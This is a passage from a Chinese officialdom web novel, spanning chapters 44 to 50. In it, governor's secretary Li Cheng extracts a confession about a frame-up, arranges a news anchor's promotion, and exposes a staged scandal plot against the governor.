你不信任我,你觉得他们就会放过你的家人吗?你敢说,你做的这些,你家人就一点口风都不知道吗?” 闻言,潘男再度陷入了沉默。 他的死局以定,现在的他,只想把自己的家人保护好。 而李承的要求简单,又可以给他的家人提供一份保障,这让潘男心动。 沉默了良久,潘男轻哼一声:“李秘书,你的好意我心领了,不过,我无可奉告。” 李承表情一冷,拳头不禁微微攥起。 “理由呢?”李承问。 “没有理由,我什么都不知道,也什么都不想说!”潘男似乎做出了决定,眼神坚定的说。 他的顽固程度,让李承倍感愤怒。 李承也沉默了。 一分钟后,李承突然笑了起来:“哈哈哈...” “你笑什么?” 李承的笑容让潘男觉得心惊胆战,他忍不住的问。 “既然潘总不想说,那就算了吧,我知道,再劝你下去,也是浪费口舌。” 李承将烟头熄灭,脸上笑容更加明显:“不过潘总,你可以放心,我依旧会给你家里人提供保护。” “你会有这好心?” 潘男觉得,李承这笑容之下是阴谋。 “当然啊,你想想,如果我们给你家里人提供保护,再对外宣传你已经吐出了一些口风来,那些人会怎么想? 他们会不会相信你没有背叛他们呢?如果他们乱想了话,他们会怎么做呢?嘶....” 李承倒吸一口气,摆出一副沉吟的模样:“他们怎么做,我是真想不到,但有一点可以肯定,我给你家人提供的保护,绝对是漏洞百出的。 我一定会给他们留出机会,让他们的人,跟你的家里人有些交流。” 李承所讲的话,是带着些诡计在的,甚至有威胁的成分。 可事到如今,这也是无奈之举。 “你他妈真卑鄙!”潘男怒道。 “哎...轮卑鄙,我可跟潘总比不了,潘总拿二十万让陈思琪跟我仙人跳的时候,手段更卑鄙。 但说实话,你好歹也是副董事长,就出价二十万,你也太小气了吧。”李承冷笑道。 “什么?” 听到二十万这个数字,潘男瞳孔一阵:“陆涛这个大沙比,老子给他一百万,他他妈的想吃八十万的回扣,成事不足败事有余的废物!” 原本,他还有点百思不得其解。 类似的事情他这些年也干过不少,对于那些每月几千块钱薪水的基层员工,一百万绝对会让对方心动不已。 这些年,这个计策百试百灵。 可那个陈思琪却选择拒绝金钱的诱惑,帮助李承,他还一度认为是陈思琪品德高尚,不被巨额金钱所动。 这时他才明白,那次之所以会失败,是陆涛坏了他的事! 他现在,杀了陆涛的心都有了。 听到一百万,李承也是一愣。 他没想到自己什么时候这么值钱的,对方居然开价一百万,只为抓他把柄,撤他的职。 “潘总,你好好休息吧,我走了。” 李承站起身,微微一笑,转身朝外走去。 就在李承走到门口,手已经按在门把手时,潘男终于开口了:“我说。” 李承笑了。 笑容很快被他收敛,他转过身,重新回到潘男的面前。 “你一定要保证我家人的安全,否则,我做鬼都不会放过你!”潘男道。 他落魄于此,已经没有什么筹码可以威胁李承。 答应李承,他家里人或许还能得到保障。 如果不答应,家人一定会有风险。 这种时候,他也别无选择。 “嗯,我答应你,就一定会做到。”李承说。 “指使我诬陷杨兆华的人,是你们省政府办公厅的秘书长,秦海!” 听到秦海的名字,李承有些意外。 却也不觉得意外。 李承早就知道,秦海这家伙在背后有很多小动作,这事他能干得出来。 可问题是,秦海为什么要这么做? 他背后的人,又是谁? 这些不是李承要操心的事情,现在,他要跟孟良德汇报。 “嗯,知道了。” 应了一声,李承转过身,离开了病房。 “李秘书,问出什么了吗?”宫庆鑫上前一步,问。 “没有。” 李承摇了摇头,没有说出实情。 “他是知道自己逃不过这劫,选择一个人扛了,这种犯人最难审理。”宫庆鑫叹了口气,道。 “我先回去了,这里辛苦你了。” 李承告辞,他并没有交代保护潘男家人的事情。 眼下,还不易打草惊蛇。 如果安排人保护,走漏的风声,反而会让对方起了下手之心。 所有事情,都要等向孟良德做出汇报,再有他做定夺。 省长办公室。 李承站在孟良德的身侧,低声说:“省长,潘男交代说,是秦秘书长指使他对杨兆华副书记栽赃陷害的。” 闻言,孟良德的表情没有任何变化。 但是眼神,明显冷厉的很多。 “这是给我的下马威啊。” 孟良德刚上任不久,他和杨兆华是老同学的关系,也刚在小圈子里流传,紧接着杨兆华就被陷害。 如果李承被调查时,为了自己在审计局提升副处的名额,而选择出卖杨兆华的话,对方就得逞了。 而孟良德的空降派系,也将少了一位得力干将。 李承默默不语,心有疑惑,但也没多嘴去问。 秦海是省政府办公厅的秘书长,按理说,秘书长一般都是一把手的亲信,紧紧跟追着一把手的脚步,这样才会有前途。 可秦海却背道而驰。 李承可以肯定,在秦海的背后,还有一只大手在掌控这一切! 可这个人是谁呢? 孟良德是否猜到了那个人的身份呢? 李承不敢多问。 “省长,时间不早了,今天是锦绣广场的复工剪彩,王师傅已经在楼下等候了。”李承提醒道。 孟良德看了一眼时间,点头:“对,你不提醒我都忘记了,现在出发。” 第45章 复工 奥迪汽车停在锦绣广场的工地前。 这次来,依旧是热闹非凡。 但没有了上次的横幅闹事,闹事的业主们也不见了。 只有纺织厂的工人,还有花海集团的施工队,以及市委市政府和媒体的朋友们。 以张建军书记为首,市长刘宝林,副书记杨兆华,花海集团董事长李美娇,纺织厂费厂长等人,已经等候在这里,准备迎接孟良德。 经过上一次李承的提醒,王师傅停车的位置有了分寸。 既保持了相应的距离,却没留出太远的空位。 汽车停稳,李承率先下车,拉开后排车门,并将手放置在门框前,以防领导磕到头。 孟良德迈步下车。 这时,以张建军为首的迎接团队走了上来。 “孟省长,欢迎。” “孟省长,您好。” 孟良德面带笑容,与这些人一一握手,客套的交谈两句。 而这些人在与孟良德握手后,也会主动向李承打个招呼,李承同样会回以微笑。 “孟省长,欢迎您莅临指导工作,您能到来,是我们花海集团的荣幸。” 李美娇握住孟良德的手,笑容满面,她的双手紧紧握着,久久不分开。 她的一举一动,都给人一种她与孟良德十分亲近熟络的样子。 李承站在一旁,他看得出来孟良德想收回手,但在这种情况下,也不好强行拽开。 毕竟,李美娇是投资商,也算帮助政府解决了一个麻烦。 现在急于与李美娇撇清关系,就显得有些不近人情。 这就是李美娇想要的效果。 她要在媒体朋友们的相机下,留下与孟省长亲密的合影,如此以来,大家都认为她搭上了孟良德这条线,以后办事也会跟方便。 在孟良德与他们交涉时,李承的目光看向了媒体们。 很快,他便找到了自己想要找的人。 许梦。 此时的许梦也在看着他,对他露出灿烂的笑容。 李承冲她微笑,表示打招呼。 接下来就是按照流程,参与复工剪彩仪式。 然后是领导讲话。 孟省长率先讲话,他的讲话主要围绕在,工程建设的安全,质量,稳定,以及战略意义。 贯彻在党的领导下,汉江市明月新区的发展新标杆。 并提出期望,督促汉江市领导班子与花海集团共同打造锦绣新商圈,为汉江市民提供便利等.... 孟良德讲完后,由张建军讲话。 他的讲话,主要是围绕孟良德的讲话内容开展,在党和孟省长的领导下,去落实孟省长提出的几点观点。 这倒不是他没有主见,而是官场上的一种万金油讲话。 可以表现出对领导的重视与服从,突出孟良德。 但到了李美娇讲话时,她再一次的展现出她精于算计的一面。 她只是简单附和了孟良德的讲话,对工程质量,工期等问题进行了保证后,她话锋一转。 说花海集团愿意在政府的领导下,继续为整个明月新区的发展做贡献,连带着孟良德许诺给她那两块地皮的规划发展,一同说了出来。 虽说,她没有明确说明,已经拿下了那两块地皮,也没有表明孟良德对她做出什么承诺。 可她那信誓旦旦的样子,以及话语中潜藏的深意,还是会引人联想翩翩,使人产生她与孟省长关系的无限遐想。 可对于李美娇的讲话,纵使孟良德心中万般不悦,在这种环境下,他也不会有任何的表现。 因为,李美娇把分寸拿捏的很好。 剪彩仪式结束,孟良德走下台。 “省长,我们现在回去吗?” 李承看出孟良德的不悦,问他是否要打道回府。 “嗯。”孟良德点头。 跟各位领导告辞,通知他们孟省长要回去,是秘书的职责。 正当李承准备去告诉各位领导过来告别时,他看到许梦朝着这边走来。 在许梦的前面,是一个戴眼镜的中年男人,而在他们后面,还跟着摄像师。 “孟省长,我是省电视台的台长,我叫赖八法。” 男人快步走到孟良德面前,主动伸出手。 “嗯。” 孟良德跟赖八法握了握手,应了一声。 “是这样的孟省长,前段时间您为锦绣广场复工担保一事,在网络上流传广泛。 如今,锦绣广场如期复工,我想请你做一个采访,也让关注此事的广大朋友们,能够深刻了解到我们东江省的好领导。” 赖八法谄媚恭维的说。 “好。” 孟良德没有拒绝,这种功绩需要宣传出去。 有一定的社会影响力,对于未来孟良德的仕途也有好处。 “这位是我们省台的主持人许梦,由她为您做采访。”赖八法介绍道。 “我知道她,上次跨江大桥就是她报道的。” 孟良德对许梦投去亲切的笑容,并主动伸出手与许梦握了握。 “孟省长您好。”许梦笑容灿烂的打招呼。 “开始吧。”孟良德道。 “孟省长,请问当您被锦绣广场集体业主围在一起诉求时,是一种怎么样的心情....” 接下来,许梦围绕着那天发生的事情,做出采访。 许梦的话术很高超,作为专业主持人,她知道领导想要向群众表达什么,她便问什么。 孟良德回答的更是滴水不漏,在他的身上充分体现出一位领导的责任与担当,是真心为民做事的好干部。 颇有一副,我不下地狱谁下地狱的魄力! 作为孟良德的秘书,他都被孟良德的回答而折服,相信看到采访的人们群众们也会被深深打动,认可这位好官员。 整个采访很顺利。 采访结束,在众多领导的相送下,李承为孟良德拉开车门,两个人离开了这里。 车上,孟良德拧开保温杯,喝了一口水:“李秘书,这位叫许梦的主持人,人很漂亮,也很聪明啊。” 闻言,坐在前排的李承微微一怔。 孟良德向来不过问这些小角色的事情,可刚刚他提到许梦,并夸赞了对方的美貌。 联想到孟良德的家人远在京城,他一个人在这边也需要陪伴,难道是….. “是呀,呵呵呵….” 李承不敢深想下去,附和的应了一句。 第46章 跌宕起伏 “像这么优秀的主持人,更适合去八点档的新闻主播。”孟良德点燃了一根香烟,将车窗降下了一个缝隙。 烟雾顺着车窗飘出,仍有小部分弥漫在车内。 钻进李承的鼻孔中。 八点档,是省台新闻节目的黄金档。 无论是声音,样貌,还有专业素养,许梦的条件都超过现任八点档主播黄莉莉。 但每个圈子都有内部的潜规则,省电视台也不例外。 许梦曾跟李承吐糟过,那些黄金档节目的主播,要么是家里有关系,要么就是受到某位领导的‘特殊关照’。 像许梦这种坚守底线的主持人,就只能跑跑户外,以及主持深夜档的节目。 现在,孟良德特意开口,指明许梦适合八点档新闻主播,这不禁让李承心里一阵紧缩。 孟良德难道要给许梦做工作调动? 像他这个级别的领导,给一个小小的新闻主持人调动,出于什么目的? 难道只是简单的欣赏吗? 李承心情很沉闷,在他看来,孟良德大概率是对许梦产生了爱慕之意,想要一亲芳泽.... “是呀,她的声音和长相,要比现任八点档的主播强一些。”李承附和说。 新闻主播,是要面向全省观众的,样貌和声音,自然是重点选拔条件。 “嗯,你问问她愿不愿意调去八点档,愿意的话,就通知省台调动一下。”孟良德深深吸了一口烟,道。 “好的老板。”李承应下。 李承虽对许梦倾心,他也能感受到许梦对他的好感。 可这份好感,是否是建立在李承的身份地位之上呢? 李承不知道。 如果对方是为了自己的身份地位而接触,孟良德主动投去橄榄枝,许梦又是否能经住诱惑呢? 李承不想再想这件事,如果许梦选择投入孟良德的怀抱,就证明,这个女人也不值得自己付出真心。 李承始终相信一句话,凡事发生,必将也有利于我! “小李啊,你对这个许梦有意思吧?”孟良德将手伸出车窗,弹了弹烟灰,笑呵呵的问。 “她的确很优秀。”李承委婉回答。 “呵呵呵...你也年纪不小了,是该谈女朋友了。” 孟良德淡淡一笑,继续道:“我觉得这个主持人就很不错,你也不用打着我的旗号去跟她交涉。 她确实很优秀,在深夜档淹没了她的才能。” 闻言,李承微微一怔,心中复杂起来。 有喜悦,有感激,也有自责。 他现在才听明白,刚才自己的胡乱猜忌,是误会了孟良德的好意。 孟良德选中许梦去八点黄金档。 一来,他经过刚才的采访,是从心里面认可许梦,觉得许梦适合更好的节目主持。 二来,他也想送李承一个顺水人情。 秘书是首长最亲信的人,两人的关系不仅是上下级,还要有深层次的维护。 这样,才能收买人心,确保秘书的忠心。 “谢谢老板。” 李承发自内心的对孟良德道了谢。 ..... 中午。 趁着下班时间,李承给许梦打了一通电话过去。 “承哥。” 电话接通,许梦甜美温柔的声音传了过来。 “你干嘛呢?”李承柔和的问。 “刚与台里整理完今天采访孟省长的视频内容,准备去食堂吃口饭,你呢?”许梦说。 “我也刚下班。” 省电视台距离省政府有二十几公里的路程,往返需要一个多小时的时间。 如若不然,李承就准备去见她一面了。 “今天见面,你都没有跟我说几句话...”许梦语气中有几分失落,但更像是在撒娇。 “这多人在场,我的工作性质在这里,当然要以服务领导优先。”李承解释了一下缘由。 “我以为你是不想搭理人家呢。”许梦撒娇道。 “怎么会。”李承笑着说。 “那你给我打这通电话,是不是因为想我?”许梦羞涩的询问道。 “想。” 李承没有否认,坦言说出自己的心声。 “我也想你。”许梦红着脸,小声说。 经过撞车被勒索的事件后,许梦对这个男人更加心动。 她一直想找的另一半,就是能够给她倚靠,将她保护起来的男人。 李承给了她这份安全感,而且,几次接触下来,李承各个方面的表现都让她很喜欢。 “想不想调到八点档去当主播?” 听到许梦表达想念,李承不自觉流露出笑容,他问。 “八点是黄金档,那是每个主播都向往的,当然想。”许梦说。 “行,我知道了。”李承点头。 “你不会想要调我去八点档吧?”许梦试探的说。 “嗯。”李承没否认。 “啊?” 闻言,许梦微微一愣,连忙拒绝:“不用的承哥,你刚当上孟省长的秘书,照顾好你自己那边工作就行。 我可不想因为我的事情,给你造成麻烦。” “放心吧,我有分寸。” 又与许梦聊了一会,李承挂断电话。 紧接着,他拿起桌子上的座机电话,拨通给了省电视台台长赖八法。 “我是省政府秘书李承。” 电话接通,李承自我介绍。 “是李秘书啊,有什么吩咐?” 赖八法听到是李承,立马恭敬了起来。 李承用办公电话跟他联系,就证明,这通电话与孟省长的工作安全有关。 “给你打电话是商量一下关于八点档新闻节目的人事变动问题。”李承直言道。 “奥....” 赖八法略微沉吟,联想到今天许梦与孟良德的采访,他猜到了一个大概,紧接着说:“其实,八点档的新闻主播我早就想做出调整。 李秘书,您觉得今天采访孟省长的许梦如何?” 李承微微一笑。 这个赖八法果然是个人精,很懂得揣测领导的心思。 “从声音条件,样貌,和专业素养来说,许梦的确更合适八点档的新闻。”李承满意的说。 “李秘书,我下午就开会,调整八点档的人事安排。” 赖八法立即答应后,笑着问:“李秘书,您晚上有没有时间,我想请您吃个便饭?” “如果有时间,我联系你。” 第47章 来我家里 【承哥,赖台长已经将我调到了八点黄金新闻档,谢谢你。】 临近下班,许梦给李承发来微信,表达了感谢。 李承对于赖八法的办事效率很满意,短短一个下午的时间,他就安排好了一切。 【不用谢我,是你个人能力出色。】李承回道。 【晚上有时间吗?我请你吃饭。】 许梦发送了一个可爱的表情,询问李承。 李承略微思索,回复:【改天吧,赖八法提前约了我。】 原本李承还在犹豫要不要赴约赖八法,但想着他这么快就落实了许梦的工作调整,李承决定给他一个机会。 自从李承当了孟良德的秘书,想要请他吃饭的人,能从年初排到年尾。 李承爱惜自己来之不易的‘羽毛’,很少答应别人请客吃饭。 能赴约赖八法,是因为他是许梦的领导,李承想给许梦撑住场子,避免以后许梦可能面临的麻烦。 【好的承哥,我随时等你消息。】许梦回道。 李承看完,准备收起手机时,许梦的第二条消息又发了过来:【不要喝太多酒,如果时间早的话,我希望你能来见我一面。】 【嗯,好。】 ..... 晚上六点。 牡丹会的VIP包间里,赖八法摆下丰盛的酒席,宴请李承。 “李秘书,您来了。” 李承走进包厢,赖八法立马起身,热情的迎了上来,伸出双手。 “嗯,让你久等了吧。” 李承伸出一只手,与赖八法握了握。 目光却看向赖八法身后的漂亮女人。 赖八法不是单独宴请李承,他还带了一个女人,这个女人李承也有些印象。 她叫萧倩,也是省电视台的主持人。 她的节目时间在许梦前一位,每晚李承等待收看许梦节目时,都能看到萧倩主持节目的尾声。 “能跟李秘书吃饭,再久都值,哈哈哈。” 赖八法恭维的笑了两声,介绍道:“李秘书,给你介绍一下,这位是萧倩,也是我们台优秀的主持人。” “李秘书,您好,久仰大名。” 萧倩撩了一下头发,冲李承抛去一个眉眼,主动伸出手。 “你好。” 李承跟她简单的握了握,在赖八法的殷勤下,坐入主位。 “萧倩,李秘书日理万机,能请到他是咱们台的荣幸,你今晚可要陪好他。”赖八法吩咐道。 “知道的。” 萧倩莞尔一笑,给李承的杯中倒入红酒。 萧倩的到来,就是赖八法安排给李承陪酒的。 这些年,他宴请领导吃饭,都会带一个女主持人陪酒,这已经成了一种潜规则。 “李秘书,我敬你一杯。”赖八法率先提酒。 李承跟他喝了一杯后,开启今晚的饭局。 聊天的内容,主要围绕在省电视台的工作上,讲得都是一些没什么营养的官方话。 期间,萧倩不停给李承敬酒,颇有一副要给李承灌醉的架势。 “李秘书,您这么年轻就能成为孟省长的秘书,是我们学习的榜样,我敬您。” 萧倩故意将椅子往李承这边凑了凑,敬酒时,她柔软的身子总会故意去碰触李承。 “今晚喝很多了,我们少喝一点,别耽误了明天的工作。”李承与她碰了下杯,只是小口轻抿。 待会饭局结束,他还要去见许梦,可不想醉酒耽误了事。 “李秘书很会体谅人嘛,你女朋友一定很幸福吧?”萧倩喝了一口红酒,在那水晶红酒杯的杯口处,残留下她的口红唇印。 “我还没有女朋友。”李承道。 “李秘书这么优质的男性居然还单身,太不可思议了...刚好,我也单身,要不我们加个微信吧?” 说着,萧倩拿出手机,主动去加李承的联系方式。 “嗯。” 李承冷淡的应了一声,也不好拒绝,加了对方。 能作为省台主持人,萧倩也很有姿色。 但她的美跟许梦不同,许梦是清纯的美,像每个青春男孩的白月光。 而萧倩是那种妩媚的美,骨子里带着股浓郁成熟女人的魅惑力,用当下很流行的话讲,萧倩属于是极品少妇。 可李承心中已有心仪的女孩,对于萧倩主动示好,也就保持疏远。 他觉得,这个女人可以对他这样,就可以对其他领导这样。 “萧倩,你出去帮我买包烟。” 赖八法看出李承对萧倩似乎并不感冒,找理由打发道。 “好的呢。” 萧倩微笑点头,眼睛眯成月牙,纤细的手指搭在李承的肩膀上,问:“李秘书,您抽什么牌子的烟?” “不用了,谢谢。”李承摆手拒绝。 “嗯嗯。” 萧倩应下,扭着被裙子裹住的丰腴屁股,走出包厢。 她知道,赖八法叫她出去,是有话单独聊,不方便她听。 “李秘书,有件事情我斗胆想跟您打听打听...”赖八法凑近李承,低声说。 “你说。” “提拔许梦,是不是孟省长很认可她?”赖八法试探的问。 “许梦很优秀,像这种优秀的人才,就应该放在更合适的位置上。” 李承冠冕堂皇的回了一句后,想着为许梦撑下腰,便说:“孟省长的确认可她的能力。” “我明白了,谢谢李秘书。” 赖八法露出一抹意味深长的笑容,笑盈盈的点头。 “你明白什么了?” 李承总觉得他似乎误会了什么,开口反问。 “我明白,像许梦这种有能力,年轻又漂亮的姑娘,应该去更好的位置。”赖八法笑容猥琐的说。 “嗯。” 李承点了点头,还是有些不放心的嘱咐道:“仅此而已,别多想。” “知道。” 饭局结束,萧倩提出主动送李承回家,被李承回绝。 李承拦了一台出租车,坐在车里,他打电话给了许梦。 “承哥,你那边结束了?”许梦接通电话,问。 “嗯,有点晚了,你也快主持节目了吧。”李承看了一眼时间,距离许梦的节目开播,还有不到一个小时。 “今晚赖台长给我放了假,让我放松放松心情,明天开始就要正式主持八点档的新闻节目。” 许梦温柔的说完,她略微沉吟,有些羞涩的说:“你过来吗?” “嗯,我们去哪见?”李承问。 “来我家里吧。” 第48章 吻 听到许梦主动邀请自己去家里,李承心里莫名的几分激动。 这么晚的时间,孤男寡女两个人共处一室,两人又都对彼此有情愫,情到深处,会发生什么,耐人浮想.... “好,我现在过去。” 许梦是外地人,她在这边就住在省电视台分配的员工宿舍,上次看电影时,李承送过她一次。 只是那次,两人关系还在彼此熟悉阶段,并没有上楼。 半个小时后,出租车停在省电视台员工宿舍楼下。 李承按照许梦给他的地址,敲响了房门。 ‘咚咚咚...’ 房门敲响,里面传来脚步声,越来越近。 李承的心跳不知为何,也在莫名加速,似乎在迎接那即将发生的成人之事。 ‘咯吱’ 房门打开,李承走了进去。 客厅只开了一个小灯,有些昏暗。 许梦穿着一件淡粉色的睡裙,一头柔顺的秀发披散在肩膀上。 那张绝美的脸蛋虽是素颜,却美到没有半点瑕疵。 “承哥,你来了。” 许梦温婉一笑,拿出拖鞋递到李承的脚下。 “怎么开这么暗的灯?”李承随口问。 “主灯坏掉了,平时晚上我都在台里,买回来的灯一直也没找人换。”许梦说。 “灯在哪?我帮你换。”李承说。 “真的吗?我是需要找专业的电工吗?”许梦懵懂的说。 “哪有那么麻烦,很简单的。” 李承搬了一个凳子过来,许梦也将她提前买好的灯泡递了过来。 换灯泡对于李承来说,是再简单不过的小事。 很快,他就将坏掉的灯摘下来,将新的灯连接插销,并装了回去。 “试试看。” 李承从椅子上跳了下来,说。 “好的。” 许梦打开灯,明亮的灯光将两人照亮。 “承哥,你真厉害。” 许梦直接扑进李承的怀抱,柔软的身体紧紧贴合在李承身上。 一阵香气扑来。 许梦刚刚洗完澡,头发还有一部分是湿的。 “这都是男人应该做的。” 李承抱住她的纤细柳腰,微微低下头,他看到许梦那种微微泛红的脸。 脸上有着说不出道不明的羞涩与暧昧情愫。 “我一个女孩子在这边,很多事情自己都搞不定,以后...我遇到什么问题,能不能多麻烦你....” 许梦俏脸微微上扬,眼神泛着光。 “当然没问题。”李承柔声说。 “承哥,你真好...” 许梦踮起脚尖,眯上眼睛,主动的去亲吻起李承。 ‘铃铃铃...’ 正在双唇即将碰触时,一道手机铃声打断了两人的暧昧气氛。 许梦睁开眼睛,这是她第一次准备与男人亲吻,心情慌乱之下,也收回了亲吻的动作。 目光去寻找声音来源的方向。 李承也松开了拥抱。 “是我的手机。” 许梦走向茶几,拿起了自己的手机,看了一眼:“是赖台长的电话,可能有工作安排。” 对李承解释了一下,她接通电话:“喂,台长....哦....好..好的,我这就赶过来。” 许梦连连应了几声后,挂断了电话。 她一脸歉意的看向李承,眼中有几分失落:“赖台长说有重要的工作事情找我,叫我马上去台里。” “没关系,我们以后的时间还长。” 李承看着她失落的样子,微微一笑,伸出手抚摸了一下她的头发,表示安抚。 “嗯。” 见李承没有因为自己要突然离开而生气,许梦甜甜一笑,踮起脚尖迅速在李承的唇上吻了一下。 这个突如其来的吻,让李承心跳加速。 他想拉住许梦的手,将她拽到自己的怀抱中,狠狠的吻她。 可许梦却已经害羞的转过了身,小跑进了房间,去换衣服。 两人一起下了楼,李承给许梦送到省电视台后,两人依依不舍的告别分离。 ....... 次日一早。 李承照常来到招待宾馆,等待孟良德。 他站在门口,没有等来孟良德,却看到许梦从另一个房间走了出来。 “承哥。” 看到李承时,许梦快步走了过来,打起招呼。 李承微微一怔,他看着许梦,心中不禁有些阴沉。 她昨晚不是被赖八法叫去省台谈工作了吗? 怎么会出现在这里? “你昨晚在这过的夜?”李承撇了一眼孟良德的房门,低声问。 “嗯。” 许梦微微点头:“昨天晚上....” ‘咯吱’ 正当许梦准备向李承解释昨晚的事情时,孟良德打开房门,走了出来。 “老板。” 李承向孟良德打了声招呼。 “嗯。” 孟良德应了一声,看向许梦,问:“你怎么还没走?” 听到这话,李承的心顿时凉了。 看来,昨晚许梦与孟良德之间.....想到那些不可描述的画面,李承的心情越发沉闷。 “赖台长说,还有一个问题想让我采访您,就让我留下了。”许梦道。 “什么问题?”孟良德问。 “是关于花海集团李美娇的,台里收集了很多网友的评论,一些知情人扒出李美娇的过往后,有大量的水军故意抹黑您和李美娇的关系。 台里想问,是否需要做一个专访,澄清此事。”许梦问。 “清者自清,解释反而容易引起猜想。” 孟良德摆了摆手,径直朝着食堂的方向走去。 李承并没有跟上孟良德的脚步,眼神犀利的看着许梦:“是赖八法昨晚叫你到这里来的?” “嗯,是。”许梦点头。 “你昨晚就见了孟省长?”李承再次追问。 “是呀。” 许梦再次点头,她似乎也察觉到了李承眼神中的疏远,连忙解释:“承哥,你是不是误会什么了? 昨晚赖台长带我到这里登门感谢孟省长的提携后,他给在我隔壁开了一间房,说是忘记李美娇引起的舆论情况。 便说,让我在这里先住下,等着今早来请示领导意见,仅此而已。” 闻听此言,李承陷入思索。 结合刚才孟良德与许梦的短暂交谈,他相信许梦的解释。 “承哥,你是不是不相信我,我的心里只有你一个人,我不是那样的女人....” 第49章 孟良德的愤怒 许梦拉着李承的胳膊,眼神楚楚可怜。 “我相信你。” 李承语气缓和,但这里是招待宾馆,可能暗中还有眼睛盯着。 于是,他退后半步,与许梦稍微拉开距离,问:“赖八法是怎么交代你的?” “他说,孟省长七点半就会准备去吃早饭,让我准时过来敲门。”许梦如实说道。 “哦。” 李承脸色阴沉的点了点头,眼中浮现杀意。 “承哥,你还是不相信我,对吗?”许梦楚楚可怜,仿佛要哭了。 “没有,我相信你,去上班吧。” 李承深吸一口气,对许梦挤出笑容,说。 “好吧。” 许梦情绪失落的点了点头,离开了招待宾馆。 看着许梦的背影,李承双拳紧握。 这个赖八法,他在作死! 深夜来访,去感谢领导,还带着电视台的知名美女主播,这是何意? 这分明就存在着性暗示,至少,他是要带着许梦试探孟良德对许梦的态度。 昨晚吃饭时,赖八法也暗中询问过李承此事。 而这个赖八法在碰壁后,并没有让许梦离开,却特意让许梦留宿在这里,这一举动就有些耐人寻味了。 真如他所讲,只是为了请示一个问题? 李承觉得不可能。 请示问题,什么时候请示不行,为什么偏偏要留宿一宿,赶在早上这个特殊的时间段。 这种借口,骗骗许梦这种单纯的姑娘还想,骗不了李承,更骗不了孟良德。 回到食堂,孟良德的一碗豆浆已经见了底。 “她昨晚在这里住的?”孟良德问。 “是呀,她说赖八法让她早上去敲您房门,跟您请示问题。”李承道。 “他胆子够大了,连我的主意都敢打!” 孟良德眼神一沉,冷冷的道:“待会你去省电视台问一问,是谁给他的胆子!” “好的老板。” 这还是李承第一次见孟良德发如此大的火气,他一时间没反应过来。 很快,他懂了。 孟良德这是想了解,赖八法背后的人是谁! 赖八法的举动,完全就是玩火自焚,若没人指使,他不会这么做。 赖八法如果是为了给孟良德送女人,这个早晨敲门采访的理由就行不通。 就算是那种色鬼领导,也不会选择在早晨去春宵一刻。 毕竟,秘书会在门口等候,门外的服务人员也会经过,那种事情发生在早上,太过于招摇。 但这件事情换个角度想。 如果对方是为了陷害孟良德,就说得通了。 孟良德发火,也就合情合理了。 陷害这种实权大领导,不需要捉奸在床。 只需要掌握许梦昨晚来访孟省长房间,并留宿在招待宾馆,以及今早许梦从孟良德房间离开的画面,就足够毁掉孟良德的名声。 孟良德因为锦绣广场一事,属于焦点人物,大家都很敬重他的胆魄和能力。 可这时候,如果孟良德私会电台主播许梦的新闻漏出,同样可以借着锦绣广场产生的热点流量,将这种无须有的丑闻传到沸沸扬扬。 当流量到达一定的峰值时,那就等于是裤裆里掉黄泥,不是屎也是屎了。 根本解释不清。 丑闻一旦传播,很有可能会危机到孟良德在东江省的政治地位,给他的政敌可乘之机。 昨晚看似风平浪静的一桩小事,却蕴藏着足够的危机! ..... 省电视台,台长办公室。 “李秘书,尝尝我这个茶怎么样?” 赖八法堆着笑脸,给李承倒了一杯绿茶。 李承端起茶杯,抿了一口,冷冷的说:“赖台长的生活条件不错啊,这是顶级龙井。” 李承对于茶很有钻研。 赖八法的龙井,起码要大几百元一两。 这种消费水平,远远超过了他的工资。 “李秘书喝的满意就好,我那还有,待会你拿两罐回去。”赖八法谄媚的说。 “算了,你这的茶比孟省长喝的还要高级,我可品尝不起。”李承说。 “我也不知道什么价钱,都是朋友送的。”赖八法听出李承的挖苦之意,尴尬的说。 “朋友送的?” 李承拿出香烟,点燃一根:“看来你凭什么没少收别人送的东西啊?” 闻听此言,赖八法给李承续茶的手都不自觉的抖动了一下。 “李秘书您真会开玩笑,我都是正常的朋友往来。”赖八法尬笑着说。 他看出李承这次来者不善,怯声询问:“李秘书,您这次来,是有什么吩咐吗?” “我问你,昨晚为什么要叫许梦去招待宾馆留宿?”李承冷声问。 “我就是想带着她去感谢一下领导....” ‘砰!’ 赖八法的话还未说完,李承重重的一拍茶桌。 茶杯被震的乱颤,刚倒上的茶水,摇晃着洒出不少。 “说实话!” “李秘书,我说的就是实话呀,我想着孟省长白天比较忙,晚上可能有时间,就想让许梦去感谢一下。” 赖八法额头渗出冷汗,解释道。 “呵呵呵....” 李承吸了一口烟,发出冷笑:“赖台长,我看啊,你这个台长是不想继续干下去了。” “李秘书,您这话什么意思?”赖八法擦了擦额头的汗,胆怯的问。 “你让许梦深夜留宿,又让她第二天一早去敲孟省长的门,是何居心,你当我傻,还是当孟省长傻呀? 赖台长,你想对孟省长的名誉做手脚,我看啊,你这些年类似的事情也没少干吧。 能喝得起这么好的茶,是该让纪委的同志,好好对你查处一番了。” 李承冷哼一声,他直接挑明问题,没有半点的弯弯绕绕。 孟良德能掌管他的生杀大权,而像赖八法这种人,最爱惜的就是自己屁股下面的位置。 听到李承的威胁,赖八法惊慌不已。 “说,是谁指使你这么做的?”李承看出赖八法的犹豫,他果断逼问。 “是秦秘书长,他说孟省长可能对许梦有意,而孟省长的家又远在京城,一个人在这边也需要女人解心欢。 就让我带着许梦去见孟省长,但孟省长根本没有这方面的想法,我跟秦秘书长汇报,他说让许梦留宿一晚,等早上再让许梦去试试。” 第50章 嚼舌根 “许梦知道你们的计划吗?”李承弹了弹烟灰,直视着赖八法。 体制内深耕多年,李承早已养成了多疑的习惯。 他从不相信别人的一面之词,包括许梦在内。 如果许梦知道这件事,还去配合赖八法,那么,他会尽快跟许梦做切割。 “她不知道,这丫头很单纯。”赖八法摇了摇头,如实回答。 闻言,李承心里悬着的石头算是落了地。 “嗯。” 李承冷声应下后,问:“今天早上,除了许梦之外,你们在招待宾馆还有没有安排别人?” “没有。”赖八法连连摇头。 “有没有,你自己心里没数吗?说实话!”李承瞪着眼睛,厉声质问。 他摆出一副愤怒的审讯姿态,这是在诈赖八法。 “我...我们省台真的没有安排人。”赖八法再次摇头,紧张的吞咽下口水,说。 “不是省台安排的人,我和孟省长看到的人,是谁安排的?”李承继续套话。 他从赖八法的表情推测,对方还知道些隐情没有汇报。 “是...是秦秘书长。”赖八法为了保住自己屁股下面的台长位置,已经顾不得那么多,将自己能说的都说了。 刚才已经出卖了秦海,就算他不如实交代,人也得罪了。 